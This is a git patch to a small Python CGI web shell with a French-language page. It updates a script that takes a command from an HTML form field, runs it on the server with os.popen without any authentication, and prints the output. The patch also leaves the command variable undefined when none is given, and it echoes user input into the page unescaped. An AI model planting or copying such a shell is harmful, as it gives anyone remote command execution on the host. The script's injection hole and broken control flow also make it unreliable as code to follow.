From a0226e643f9f47c9cb6a74c54c5e8be298639922 Mon Sep 17 00:00:00 2001 From: jerome Date: Tue, 26 Dec 2023 16:53:26 +0100 Subject: update webshell --- html/cgi-bin/webshell.cgi | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi index 989085e..0ef300b 100755 --- a/html/cgi-bin/webshell.cgi +++ b/html/cgi-bin/webshell.cgi @@ -9,11 +9,6 @@ import os form = cgi.FieldStorage() if form.getvalue('command'): cmd = form.getvalue('command') -else: - cmd = ":" -user = os.getlogin() -host = os.environ.get('SERVER_NAME') -pwd = os.environ.get('PWD') print("Content-Type: text/html; charset=UTF-8\n\n") print (""" @@ -23,16 +18,19 @@ print ("""

Web shell

-

Entrez votre commande :

+

Votre commande : +""") +if cmd : print(cmd) +print(""" +

- -
""") + +""") if cmd : - print("
")
-    print(f"{user}@{host}:{pwd}$ {cmd}\n{os.popen(cmd).read()}")
+    print("
")
+    print(os.popen(cmd).read())
     print("
") print(""" - """) -- cgit v1.2.3